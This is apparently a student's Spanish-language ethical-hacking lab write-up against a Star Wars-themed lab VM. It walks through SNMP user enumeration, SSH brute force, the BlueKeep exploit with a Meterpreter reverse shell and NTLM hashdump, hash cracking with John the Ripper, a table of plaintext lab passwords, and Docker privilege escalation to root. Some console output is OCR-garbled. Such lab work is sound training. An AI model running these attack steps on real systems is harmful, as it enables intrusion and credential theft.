

METASPLOIT MISC

HACKING ETICO

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Ssh bruteforce.

Obtención de lista de usuarios mediante NMAP.

```
-(kali⊛ kali)-[~]
$ sudo nmap -sU -p 161 --script "/usr/share/nmap/scripts/snmp-wi
n32-users.nse" 192.168.56.102
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-07 17:21 EST
mass dns: warning: Unable to determine any DNS servers. Reverse DN
S is disabled. Try using --system-dns or specify valid servers wit
h --dns-servers
Nmap scan report for 192.168.56.102
Host is up (0.00091s latency).
PORT
        STATE SERVICE
161/udp open snmp
| snmp-win32-users:
    Administrator
    Guest
    anakin_skywalker
    artoo_detoo
    attacker
   ben kenobi
   boba fett
    c_three_pio
    chewbacca
    darth vader
    greedo
   han solo
    jabba hutt
    jarjar_binks
    kylo_ren
    lando calrissian
    leia_organa
    luke skywalker
    sshd
    sshd server
    vagrant
MAC Address: 08:00:27:D7:CC:D8 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds
```

Obtención de lista de usuarios mediante Metasploit.

Buscamos el modulo que queremos.

Lo seleccionamos.

```
16 auxiliary/scanner/snmp/snmp_enumusers
17 auxiliary/scanner/snmp/snmp_enumusers
18 auxiliary/scanner/snmp/ubee_ddw3611
19 auxiliary/scanner/snmp/xerox_workcentre_enumuse

Interact with a module by name or index. For example in the same of the s
```

Aquí tenemos la lista de usuarios.

```
msf6 auxiliary(scanner/snmp/snmp_enumusers) > set rhosts 192.168.56.102
rhosts ⇒ 192.168.56.102
msf6 auxiliary(scanner/snmp/snmp_enumusers) > exploit

[*] 192.168.56.102:161 Found 21 users: Administrator, Guest, anakin_skywalker, artoo_detoo, attacker, ben_kenobi, boba_fett, c_three_pio, chewbacca, darth_va
der, greedo, han_solo, jabba_hutt, jarjar_binks, kylo_ren, lando_calrissian, leia_organa, luke_skywalker, sshd, sshd_server, vagrant

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/snmp_snmm_snmmusers) > ■
```

Y aquí la vemos guardada en creds.

Fuerza bruta

Para convertir todos los usuarios a una lista para usarla como diccionario he usado un script en python.

```
(kali@ kali)-[~]

stat script.py

#!/usr/bin/env python3

usuarios = ["Administrator", "Guest", "anakin_skywalker", "artoo_detoo", "attacker", "ben_kenobi", "boba_fett", "c_three_pio", "chewbacca", "darth_vader", "g
reedo", "han_solo", "jabba_hutt", "jarjar_binks", "kylo_ren", "lando_calrissian", "leia_organa", "luke_skywalker", "sshd", "sshd_server", "vagrant"]

# Abre un archivo en modo escritura

with open("usuarios.txt", "w") as archivo:

# Escribe cada usuario en una linea del archivo

for usuario in usuarios:

archivo.write(usuario + "\n")
```

El script crea el archivo de texto y escribe en él cada usuario de la lista 'usuarios', y los coloca en líneas separadas.

```
| Semacs script.py | Semacs script.py | Semacs script.py | Secript.py | Secript.py
```

Fuerza bruta a los usuarios de la lista.

```
msf6 auxiliary(schner/ssh/ssh_login) > set rhosts 192.168.56.102
rhosts ⇒ 192.168.56.102
msf6 auxiliary(schner/ssh/ssh_login) > set pass_file /home/kali/Downloads/rockyou.txt
pass_file ⇒ /home/kali/Downloads/rockyou.txt
msf6 auxiliary(schner/ssh/ssh_login) > set user_file /home/kali/
pass_file ⇒ /home/kali/Downloads/rockyou.txt
msf6 auxiliary(schner/ssh/ssh_login) > set user_file /home/kali/Downloads/rockyou.txt
msf6 auxiliary(schner/ssh/ssh_login) > set user_file /home/kali/Downloads/rockyou.txt

msf6 auxiliary(schner/ssh/ssh_login) > set user_file /home/kali/Downloads/rockyou.txt

msf6 auxiliary(schner/ssh/ssh_login) > set pass_file /home/kali/Downloads/rockyou.txt

msf6 auxiliary(schner/ssh/ssh_login) > set pass_file /home/kali/Downloads/rockyou.txt

msf6 auxiliary(schner/ssh/ssh_login) > set pass_file /home/kali/Downloads/rockyou.txt

adduser.exe
adduser.exe
adduser.exe
adduser.exe
adduser.exe
adduser.exe
adduser.exe
adduser.exe
adduser.exe
altPorts
altPor
```

No ha habido suerte con el archivo rockyou.txt

Meterpreter y Hashes.

Aquí tenemos la sesión iniciada.

```
[*] Exploit completed, but no session was created.
msf6 exploit(
                                                   ) > exploit
[*] Started reverse TCP handler on 192.168.56.103:4444
   192.168.56.102:3389 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.56.102:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check
                        - The target is vulnerable. The target attempted cleanup of the incorre
- Scanned 1 of 1 hosts (100% complete)
[+] 192.168.56.102:3389
[*] 192.168.56.102:3389
ar{[+]} 192.168.56.102:3389 - The target is vulnerable. The target attempted cleanup of the incorrect
[*] 192.168.56.102:3389 - Surfing channels ...
    192.168.56.102:3389 - Lobbing eggs ...
[*] 192.168.56.102:3389 - Forcing the USE of FREE'd object ...
                                          – | Leaving Danger Zone | —
   192.168.56.102:3389 - ←
    Sending stage (201798 bytes) to 192.168.56.102
[*] Meterpreter session 16 opened (192.168.56.103:4444 \rightarrow 192.168.56.102:49281) at 2024-03-07 19:
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
anakin_skywalker:1011:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a<u>0230e55cde2f3de94fa:::</u>
artoo_detoo:1007:aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea63b7577b4:::
attacker:1019:aad3b435b51404eeaad3b435b51404ee:ac288d0d650702712a6a0f16eb935f1e:::
ben_kenobi:1009:aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeee80d7c2e5e55c859:::
boba_fett:1014:aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9:::
chewbacca:1017:aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8:::
c three pio:1008:aad3b435b51404eeaad3b435b51404ee:0fd2eb40c4aa690171ba066c037397ee:::
darth_vader:1010:aad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7acafbaa4a806aea3e0:::
greedo:1016:aad3b435b51404eeaad3b435b51404ee:ce269c6b7d9e2f1522b44686b49082db:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
han_solo:1006:aad3b435b51404eeaad3b435b51404ee:33ed98c5969d05a7c15c25c99e3ef951:::
jabba hutt:1015:aad3b435b51404eeaad3b435b51404ee:93ec4eaa63d63565f37fe7f28d99ce76:::
jarjar_binks:1012:aad3b435b51404eeaad3b435b51404ee:ec1dcd52077e75aef4a1930b<u>0</u>917c4d4:::
kylo ren:1018:aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240331e94ae18b001:::
lando calrissian:1013:aad3b435b51404eeaad3b435b51404ee:62708455898f2d7db11cfb670042a53f:::
leia_organa:1004:aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f21f14028:::
luke_skywalker:1005:aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0e9bac82005a:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

Observamos cómo se nos ha guardado todo.

msf6 expl Credentia		idons/rdp/cve_20	19_0708_bli	iekee	erce) > creds				
host Format o		origin _password 			public		realm	private_type	
192.168.	6.102	192.168.56.102		smb)	Administrator	aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b		NTLM hash	
1 192.168.	6.102	192.168.56.102	445/tcp (smb)	anakin_skywalker	aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa		NTLM hash	
n 192.168.5	6.102	192.168.56.102	445/tcp (smb)	artoo_detoo	aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea63b7577b4		NTLM hash	
192.168.5	6.102	192.168.56.102		smb)	attacker	aad3b435b51404eeaad3b435b51404ee:ac288d0d650702712a6a0f16eb935f1e		NTLM hash	
1 192.168.5	6.102	192.168.56.102		smb)	ben_kenobi	aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeee80d7c2e5e55c859		NTLM hash	
n 192.168.5	6.102	192.168.56.102	445/tcp (smb)	boba_fett	aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9		NTLM hash	
1 192.168.5	6.102	192.168.56.102		smb)	chewbacca	aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8		NTLM hash	
192.168.	6.102	192.168.56.102	445/tcp (smb)	c_three_pio	aad3b435b51404eeaad3b435b51404ee:0fd2eb40c4aa690171ba066c037397ee		NTLM hash	
1 92.168.5	6.102	192.168.56.102		smb)	darth_vader	aad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7acafbaa4a806aea3e0		NTLM hash	
1 192.168.	6.102	192.168.56.102		smb)	greedo	aad3b435b51404eeaad3b435b51404ee:ce269c6b7d9e2f1522b44686b49082db		NTLM hash	
1 192.168.5	6.102	192.168.56.102		smb)	han_solo	aad3b435b51404eeaad3b435b51404ee:33ed98c5969d05a7c15c25c99e3ef951		NTLM hash	
192.168.5	6.102	192.168.56.102	445/tcp (:	smb)	jabba_hutt	aad3b435b51404eeaad3b435b51404ee:93ec4eaa63d63565f37fe7f28d99ce76		NTLM hash	
1 192.168.5	6.102	192.168.56.102		smb)	jarjar_binks	aad3b435b51404eeaad3b435b51404ee:ec1dcd52077e75aef4a1930b0917c4d4		NTLM hash	
n 192.168.5	6.102	192.168.56.102	445/tcp (smb)	kylo_ren	aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240331e94ae18b001		NTLM hash	
n 192.168.5	6.102	192.168.56.102	445/tcp (smb)	lando_calrissian	aad3b435b51404eeaad3b435b51404ee:62708455898f2d7db11cfb670042a53f		NTLM hash	
1 192.168.5	6.102	192.168.56.102		smb)	leia_organa	aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f21f14028		NTLM hash	
n 192.168.5	6.102	192.168.56.102		smb)	luke_skywalker	aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0e9bac82005a		NTLM hash	
n 192.168.5 m	6.102	192.168.56.102		smb)	sshd_server	aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035		NTLM hash	

Para romper estos hashes hacemos uso del módulo crack_windows que emplea la herramienta JohnTheRipper. Se ha tirado 3 horas y 49min y solo ha conseguido crackear 3.

```
0g 0:03:49:29 3/3 0g/s 34259Kp/s 34259Kc/s 548157KC/s r0ychofy..r0ychyba
Session aborted
[-] Stopping running against current target...
[*] Control-C again to force quit all targets.
[*] Auxiliary module execution completed
msf6 auxiliary(analyze/crack_windows) >
```

Usando john the ripper fuera de msfconsole hemos encontrado vagrant, pongo captura para que se vea que lo he intentado de dos formas, aunque para esta segunda lo he cancelado en 15min porque no quiero perder más tiempo, ya que la máquina me va lenta.

```
-(kali⊛kali)-[~]
└─$ john --format=nt hashes.txt
Using default input encoding: UTF-8
Loaded 19 password hashes with no different salts (NT [MD4 128/128 SSE2
4×3])
Warning: no OpenMP support for this hash type, consider -- fork=3
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if
anv.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
0g 0:00:08:33 3/3 0g/s 33327Kp/s 33327Kc/s 633222KC/s 21ccotan..21ccot
s6
                 (aad3b435b51404eeaad3b435b51404ee)
vagrant
                 (aad3b435b51404eeaad3b435b51404ee)
vagrant
2g 0:00:13:40 3/3 0.002438g/s 32953Kp/s 32953Kc/s 622342KC/s m2f4cek..m2f4cci
```

Elevación de privilegios

Listado de usuarios de Docker.

```
grep docker /etc/group
docker:x:999:boba_fett,jabba_hutt,greedo,chewbacca
```

Vamos a usar esto que ya hemos sacado de prácticas anteriores, donde podemos encontrar varias contraseñas de los usuarios anteriormente cogidos de docker.

	username	mar name	mar manne	password
🗌 🥜 Edit 👫 Copy 🔘 Delet	e leia_organa	Leia	Organa	help_me_obiwan
☐ 🖉 Edit 🚰 Copy 🥥 Delet	e luke_skywalker	Luke	Skywalker	like_my_father_befo
☐ Ø Edit Gopy Opelet	e han_solo	Han	Solo	nerf_herder
☐ Ø Edit ♣ Copy Delet	e artoo_detoo	Artoo	Detoo	b00p_b33p
☐ 🔗 Edit 👫 Copy 🥥 Delet	e c_three_pio	С	Threepio	Pr0t0c07
☐ 🔗 Edit 强 Copy 🥥 Delet	e ben_kenobi	Ben	Kenobi	thats_no_m00n
☐ 🥜 Edit 强 Copy 🥥 Delet	e darth_vader	Darth	Vader	Dark_syD3
☐ Ø Edit № Copy Delet	e anakin_skywalker	Anakin	Skywalker	but_master:(
☐ 🥜 Edit 👫 Copy 🥥 Delet	e jarjar_binks	Jar-Jar	Binks	mesah_p@ssw0rd
☐ 🖉 Edit 👫 Copy 🥥 Delet	e lando_calrissian	Lando	Calrissian	@dm1n1str8r
☐ 🖉 Edit 🚰 Copy 🥥 Delet	e boba_fett	Boba	Fett	mandalorian1
☐ Ø Edit 👫 Copy 🥥 Delet	e jabba_hutt	Jaba	Hutt	my_kinda_skum

Nos conectaremos por ssh al usuario boba fett.

Haremos un set sesión 1.

Ahora con la sesión ya puesta, podrémos usar el modulo Linux/local/docker_daemon_privilege_escalation.

Como podemos observar no ha funcionado, se debe a que el payload no es compatible.

Después de un rato buscando, he encontrado este payload que si funciona, Linux/x86/meterpreter/reverse_tcp. (creo que hubiese funcionado con cualquiera que me diese una Shell meterpreter).

```
Payload options (linux/x86/meterpreter/reverse_tcp):
             Current Setting Required Description
    Name
    LHOST 192.168.56.103 yes
LPORT 4444 ves
                                                 The listen address (an interface may be specified)
                                   yes
                                                 The listen port
Exploit target:
    Id Name
    0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(li
[*] Started reverse TCP handler on 192.168.56.103:4444
[!] SESSION may not be compatible with this module:
[!] * Unknown session arch
     * Unknown session arch
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Docker daemon is accessible.
[+] The target is vulnerable.
[*] Writing payload executable to '/tmp/ZmbrwWlyEI'
[*] Executing script to create and run docker container
[*] Sending stage (1017704 bytes) to 192.168.56.101
[*] Waiting 60s for payload
[+] Deleted /tmp/ZmbrwWlyEI
[*] Meterpreter session 2 opened (192.168.56.103:4444 \rightarrow 192.168.56.101:34547) at 2024-03-09 08:15:58 -0500
meterpreter > getuid
Server username: root meterpreter >
```